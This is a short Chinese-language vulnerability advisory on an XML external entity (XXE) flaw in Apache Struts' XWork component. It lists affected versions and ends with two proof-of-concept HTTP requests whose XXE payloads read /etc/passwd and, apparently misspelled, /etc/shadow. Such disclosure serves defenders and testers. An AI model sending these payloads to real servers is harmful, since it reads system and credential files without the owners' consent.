一、漏洞介绍
Apache Struts是美国阿帕奇(Apache)基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。
Apache Struts的XWork组件在解析XML配置文件时未对输入进行充分的安全校验,攻击者可通过提交恶意XML文档,诱使服务器在解析过程中加载文件触发漏洞。成功利用漏洞的攻击者,可获取目标服务器敏感信息或导致服务器拒绝服务。
二、影响版本
2.0.0 <= Struts <= 2.3.37 (EOL)
2.5.0 <= Struts <= 2.5.33 (EOL)
6.0.0 <= Struts <= 6.1.0
三、漏洞复现
POST /struts2-xml-parser/xmlParserNoDtdParse HTTP/1.1
...
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/shadows">]>
<root>&xxe;</root>

POST /struts2-xml-parser/xmlParserNoDtdParse HTTP/1.1
...
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
